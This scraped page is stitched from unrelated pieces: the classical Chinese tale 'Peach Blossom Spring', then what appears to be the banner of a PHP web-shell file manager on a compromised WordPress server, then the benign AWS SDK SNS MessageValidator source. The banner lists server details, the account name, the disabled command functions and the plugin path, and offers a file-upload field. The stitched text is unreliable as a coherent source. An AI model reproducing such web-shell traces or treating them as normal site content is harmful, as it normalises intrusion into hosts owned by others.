晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/www/wp-content/plugins/w3-total-cache/lib/Aws/Aws/Sns/ |
Upload File : |
<?php
namespace Aws\Sns;
use Aws\Sns\Exception\InvalidSnsMessageException;
/**
* Uses openssl to verify SNS messages to ensure that they were sent by AWS.
*/
class MessageValidator
{
const SIGNATURE_VERSION_1 = '1';
/**
* @var callable Callable used to download the certificate content.
*/
private $certClient;
/** @var string */
private $hostPattern;
/**
* @var string A pattern that will match all regional SNS endpoints, e.g.:
* - sns.<region>.amazonaws.com (AWS)
* - sns.us-gov-west-1.amazonaws.com (AWS GovCloud)
* - sns.cn-north-1.amazonaws.com.cn (AWS China)
*/
private static $defaultHostPattern
= '/^sns\.[a-zA-Z0-9\-]{3,}\.amazonaws\.com(\.cn)?$/';
private static function isLambdaStyle(Message $message)
{
return isset($message['SigningCertUrl']);
}
private static function convertLambdaMessage(Message $lambdaMessage)
{
$keyReplacements = [
'SigningCertUrl' => 'SigningCertURL',
'SubscribeUrl' => 'SubscribeURL',
'UnsubscribeUrl' => 'UnsubscribeURL',
];
$message = clone $lambdaMessage;
foreach ($keyReplacements as $lambdaKey => $canonicalKey) {
if (isset($message[$lambdaKey])) {
$message[$canonicalKey] = $message[$lambdaKey];
unset($message[$lambdaKey]);
}
}
return $message;
}
/**
* Constructs the Message Validator object and ensures that openssl is
* installed.
*
* @param callable $certClient Callable used to download the certificate.
* Should have the following function signature:
* `function (string $certUrl) : string $certContent`
* @param string $hostNamePattern
*/
public function __construct(
callable $certClient = null,
$hostNamePattern = ''
) {
$this->certClient = $certClient ?: 'file_get_contents';
$this->hostPattern = $hostNamePattern ?: self::$defaultHostPattern;
}
/**
* Validates a message from SNS to ensure that it was delivered by AWS.
*
* @param Message $message Message to validate.
*
* @throws InvalidSnsMessageException If the cert cannot be retrieved or its
* source verified, or the message
* signature is invalid.
*/
public function validate(Message $message)
{
if (self::isLambdaStyle($message)) {
$message = self::convertLambdaMessage($message);
}
// Get the certificate.
$this->validateUrl($message['SigningCertURL']);
$certificate = call_user_func($this->certClient, $message['SigningCertURL']);
if ($certificate === false) {
throw new InvalidSnsMessageException(
"Cannot get the certificate from \"{$message['SigningCertURL']}\"."
);
}
// Extract the public key.
$key = openssl_get_publickey($certificate);
if (!$key) {
throw new InvalidSnsMessageException(
'Cannot get the public key from the certificate.'
);
}
// Verify the signature of the message.
$content = $this->getStringToSign($message);
$signature = base64_decode($message['Signature']);
if (openssl_verify($content, $signature, $key, OPENSSL_ALGO_SHA1) != 1) {
throw new InvalidSnsMessageException(
'The message signature is invalid.'
);
}
}
/**
* Determines if a message is valid and that is was delivered by AWS. This
* method does not throw exceptions and returns a simple boolean value.
*
* @param Message $message The message to validate
*
* @return bool
*/
public function isValid(Message $message)
{
try {
$this->validate($message);
return true;
} catch (InvalidSnsMessageException $e) {
return false;
}
}
/**
* Builds string-to-sign according to the SNS message spec.
*
* @param Message $message Message for which to build the string-to-sign.
*
* @return string
* @link http://docs.aws.amazon.com/sns/latest/gsg/SendMessageToHttp.verify.signature.html
*/
public function getStringToSign(Message $message)
{
static $signableKeys = [
'Message',
'MessageId',
'Subject',
'SubscribeURL',
'Timestamp',
'Token',
'TopicArn',
'Type',
];
if ($message['SignatureVersion'] !== self::SIGNATURE_VERSION_1) {
throw new InvalidSnsMessageException(
"The SignatureVersion \"{$message['SignatureVersion']}\" is not supported."
);
}
$stringToSign = '';
foreach ($signableKeys as $key) {
if (isset($message[$key])) {
$stringToSign .= "{$key}\n{$message[$key]}\n";
}
}
return $stringToSign;
}
/**
* Ensures that the URL of the certificate is one belonging to AWS, and not
* just something from the amazonaws domain, which could include S3 buckets.
*
* @param string $url Certificate URL
*
* @throws InvalidSnsMessageException if the cert url is invalid.
*/
private function validateUrl($url)
{
$parsed = parse_url($url);
if (empty($parsed['scheme'])
|| empty($parsed['host'])
|| $parsed['scheme'] !== 'https'
|| substr($url, -4) !== '.pem'
|| !preg_match($this->hostPattern, $parsed['host'])
) {
throw new InvalidSnsMessageException(
'The certificate is located on an invalid domain.'
);
}
}
}